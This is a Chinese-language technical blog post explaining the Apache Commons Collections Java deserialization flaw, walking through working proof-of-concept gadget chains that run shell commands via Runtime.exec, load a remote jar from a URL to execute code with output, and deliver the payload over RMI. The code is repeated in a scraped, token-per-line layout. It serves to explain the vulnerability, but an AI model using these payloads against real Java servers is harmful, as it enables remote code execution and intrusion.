Java反序列化漏洞从爆出到现在快2个月了，已有白帽子实现了jenkins，weblogic，jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后，并对于Java反序列化的Poc进行详细解读。
Java反序列化漏洞简介
- Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。
- Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。
因此要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。
Java反序列化Poc详解
public class test {public static void main(String[] args) throws Exception {String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class, Class[].class },new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class }, new Object[] {null, null }),new InvokerTransformer("exec",new Class[] {String[].class },new Object[] { execArgs })};Transformer transformedChain = new ChainedTransformer(transformers);Map<String, String> BeforeTransformerMap = new HashMap<String, String>();BeforeTransformerMap.put("hello", "manning");Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Target.class, AfterTransformerMap);File f = new File("temp.bin");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
public
class
test
{
public
static
void
main
(
String
[
]
args
)
throws
Exception
{
String
[
]
execArgs
=
new
String
[
]
{
"sh"
,
"-c"
,
"whoami > /tmp/fuck"
}
;
Transformer
[
]
transformers
=
new
Transformer
[
]
{
new
ConstantTransformer
(
Runtime
.
class
)
,
new
InvokerTransformer
(
"getMethod"
,
new
Class
[
]
{
String
.
class
,
Class
[
]
.
class
}
,
new
Object
[
]
{
"getRuntime"
,
new
Class
[
0
]
}
)
,
new
InvokerTransformer
(
"invoke"
,
new
Class
[
]
{
Object
.
class
,
Object
[
]
.
class
}
,
new
Object
[
]
{
null
,
null
}
)
,
new
InvokerTransformer
(
"exec"
,
new
Class
[
]
{
String
[
]
.
class
}
,
new
Object
[
]
{
execArgs
}
)
}
;
Transformer
transformedChain
=
new
ChainedTransformer
(
transformers
)
;
Map
&
lt
;
String
,
String
&
gt
;
BeforeTransformerMap
=
new
HashMap
&
lt
;
String
,
String
&
gt
;
(
)
;
BeforeTransformerMap
.
put
(
"hello"
,
"manning"
)
;
Map
AfterTransformerMap
=
TransformedMap
.
decorate
(
BeforeTransformerMap
,
null
,
transformedChain
)
;
Class
cl
=
Class
.
forName
(
"sun.reflect.annotation.AnnotationInvocationHandler"
)
;
Constructor
ctor
=
cl
.
getDeclaredConstructor
(
Class
.
class
,
Map
.
class
)
;
ctor
.
setAccessible
(
true
)
;
Object
instance
=
ctor
.
newInstance
(
Target
.
class
,
AfterTransformerMap
)
;
File
f
=
new
File
(
"temp.bin"
)
;
ObjectOutputStream
out
=
new
ObjectOutputStream
(
new
FileOutputStream
(
f
)
)
;
out
.
writeObject
(
instance
)
;
}
}
|
如果想彻底理解上面的poc，需要明白Java中的一些概念。
在Apache commons工具包中有很多jar包（jar包可以理解为python的库），具体jar包里面含有的内容，如下图所示。
其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架，也就是说这些扩展也属于collection的基本概念，只是功能不同罢了。Java中的collection可以理解为一组对象，collection里面的对象称为collection的对象。具象的collection为set，list，queue等等。换一种理解方式，collection是set，list，queue的抽象，collection中文含义是收集的意思，那么收集的具体方式就可以是set，list，queue了。
在org.apache.commons.collections内提供了一个接口类叫Transformer，这个接口的英文定义为
Defines a functor interface implemented by classes that transform one object into another.
也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类，如下如所示。
图上带箭头指示的为Java反序列化漏洞的poc含有的类。
-
ConstantTransformer
Transformer implementation that returns the same constant each time. （把一个对象转化为常量，并返回）
-
InvokerTransformer
Transformer implementation that creates a new object instance by reflection. （通过反射，返回一个对象）
-
ChainedTransformer
Transformer implementation that chains the specified transformers together. （把一些transformer链接到一起，构成一组链条，对一个对象依次通过链条内的每一个transformer进行转换）
有了以上的相关概念，就可以理解最开始的poc了。poc里面，我们一共创建了以下关键对象。
-
execArgs
待执行的命令数组
-
transformers
一个transformer链，包含预设转化逻辑（各类transformer对象）的转化数组
-
transformedChain
ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
-
BeforeTransformerMap
Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict理解即可
-
AfterTransformerMap
Map数据结构，转换后的Map
整个poc的逻辑可以这么理解，构建了BeforeTransformerMap的键值对，为其赋值，利用TransformedMap的decorate方法，可以对Map数据结构的key，value进行transforme。
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。第一个参数为待转化的Map对象，第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空），第三个参数为Map对象内的value要经过的转化方法。
TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
上图是调试时的转换变量内容，可以很清楚地看到执行完poc后，已经对Map的value进行了转换（过了一遍transformer链）。
poc中对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行。
在进行反序列化时，我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject()，那么该类在进行反序列化时，Java会优先调用重写的readObject()方法。
结合前述Commons Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map变量是可控的，就可以实现我们的攻击目标了。
因此我们在poc中看见了下行的代码。
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
这个类完全符合我们的要求，具体解释可以查看TSRC的文章。
如果要实现一个可控的poc，需要对transformer链的构造进行理解。首先来看InvokerTransformer。
InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
|
|
InvokerTransformer
(
String
methodName
,
Class
[
]
paramTypes
,
Object
[
]
args
)
|
参数依次为：方法名称，参数类型，参数对象 我们找其中一个来看下。
new InvokerTransformer("getMethod",new Class[] {String.class, Class[].class },new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, null }),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"gedit"})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
new
InvokerTransformer
(
"getMethod"
,
new
Class
[
]
{
String
.
class
,
Class
[
]
.
class
}
,
new
Object
[
]
{
"getRuntime"
,
new
Class
[
0
]
}
)
,
new
InvokerTransformer
(
"invoke"
,
new
Class
[
]
{
Object
.
class
,
Object
[
]
.
class
}
,
new
Object
[
]
{
null
,
null
}
)
,
new
InvokerTransformer
(
"exec"
,
new
Class
[
]
{
String
.
class
}
,
new
Object
[
]
{
"gedit"
}
)
|
参数类型里面的内容完全对应于参数对象里的内容。
PS：由于Method类的invoke(Object obj,Object args[])方法的定义，所以在反射内写new Class[] {Object.class, Object[].class }。
所以正常流程如下所示：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
基于报错的反序列化transformer链
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Java.net.URLClassLoader.class),new InvokerTransformer("getConstructor",new Class[] {Class[].class},new Object[] {new Class[]{Java.net.URL[].class}}),new InvokerTransformer("newInstance",new Class[] {Object[].class},new Object[] { new Object[] { new Java.net.URL[] { new Java.net.URL(url) }}}),new InvokerTransformer("loadClass",new Class[] { String.class },new Object[] { "ErrorBaseExec" }),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"do_exec", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new String[]{cmd}})};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
Transformer
[
]
transformers
=
new
Transformer
[
]
{
new
ConstantTransformer
(
Java
.
net
.
URLClassLoader
.
class
)
,
new
InvokerTransformer
(
"getConstructor"
,
new
Class
[
]
{
Class
[
]
.
class
}
,
new
Object
[
]
{
new
Class
[
]
{
Java
.
net
.
URL
[
]
.
class
}
}
)
,
new
InvokerTransformer
(
"newInstance"
,
new
Class
[
]
{
Object
[
]
.
class
}
,
new
Object
[
]
{
new
Object
[
]
{
new
Java
.
net
.
URL
[
]
{
new
Java
.
net
.
URL
(
url
)
}
}
}
)
,
new
InvokerTransformer
(
"loadClass"
,
new
Class
[
]
{
String
.
class
}
,
new
Object
[
]
{
"ErrorBaseExec"
}
)
,
new
InvokerTransformer
(
"getMethod"
,
new
Class
[
]
{
String
.
class
,
Class
[
]
.
class
}
,
new
Object
[
]
{
"do_exec"
,
new
Class
[
]
{
String
.
class
}
}
)
,
new
InvokerTransformer
(
"invoke"
,
new
Class
[
]
{
Object
.
class
,
Object
[
]
.
class
}
,
new
Object
[
]
{
null
,
new
String
[
]
{
cmd
}
}
)
}
;
|
有了先前的理解，这个链就很明了了。先建立一个读取远程jar文件的类 URLClassLoader，实例化这个类，传入要访问的url，再读取远程加载类，接着获取类方法，然后反射这个方法。
关于RMI利用的相关内容
tang3已经在RMI利用文章讲过怎么利用了，这段内容，我只是详解下给出的poc的原理。
poc部分内容
Transformer transformedChain = new ChainedTransformer(transformers);Map BeforeTransformerMap = new HashMap();innerMap.put("value", "value");Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Target.class, AfterTransformerMap);InvocationHandler h = (InvocationHandler) instance;Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));try{Registry registry = LocateRegistry.getRegistry(ip, port);registry.rebind("", r); // r is remote obj}catch (Throwable e) {e.printStackTrace();}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
Transformer
transformedChain
=
new
ChainedTransformer
(
transformers
)
;
Map
BeforeTransformerMap
=
new
HashMap
(
)
;
innerMap
.
put
(
"value"
,
"value"
)
;
Map
AfterTransformerMap
=
TransformedMap
.
decorate
(
BeforeTransformerMap
,
null
,
transformedChain
)
;
Class
cl
=
Class
.
forName
(
"sun.reflect.annotation.AnnotationInvocationHandler"
)
;
Constructor
ctor
=
cl
.
getDeclaredConstructor
(
Class
.
class
,
Map
.
class
)
;
ctor
.
setAccessible
(
true
)
;
Object
instance
=
ctor
.
newInstance
(
Target
.
class
,
AfterTransformerMap
)
;
InvocationHandler
h
=
(
InvocationHandler
)
instance
;
Remote
r
=
Remote
.
class
.
cast
(
Proxy
.
newProxyInstance
(
Remote
.
class
.
getClassLoader
(
)
,
new
Class
[
]
{
Remote
.
class
}
,
h
)
)
;
try
{
Registry
registry
=
LocateRegistry
.
getRegistry
(
ip
,
port
)
;
registry
.
rebind
(
""
,
r
)
;
// r is remote obj
}
catch
(
Throwable
e
)
{
e
.
printStackTrace
(
)
;
}
|
RMI利用的poc看上去还是很熟悉的，因为到建立instance时，还和之前的内容一致。之后便到了RMI内容独有的细节，从代码角度可以看出利用逻辑为：
- 建立实例对象instance
- 实例对象instance 转化为 InvocationHandler类型的句柄h（因为instance是序列化后的内容，所以instance就是一串数据）
- 把句柄h附载到Remote类实例 r上
- 向远程服务器注册，得到远程注册对象 registry
- 向远程注册对象registry注册 实例r
在Java的RMI中，我们允许向远程已运行的jvm虚拟环境中绑定（rebind函数，也可以理解为添加）一些实例对象，通过RMI协议传输一些序列化好的内容，这样服务端解析（也就是反序列化）传过来的数据后，便可把解析后的内容添加到运行环境中。构造remote类型实例r 方法很多，poc中利用动态代理创建remote实例r是方法之一。
因此涉及RMI的代码也会存在Java反序列化漏洞。
漏洞影响分析
Java反序列化漏洞从爆出到现在快2个月了。最开始的只能命令执行和反弹shell，到后来的有回显的命令执行，到最终的代码执行，利用上来是越来越方便（有回显的命令执行和代码执行均为利用远程jar文件的利用形式）。从微博来看，已有白帽子实现了jenkins，weblogic，jboss等的代码执行利用工具。待最终利用工具公布，此漏洞还会有一个上升趋势的影响。
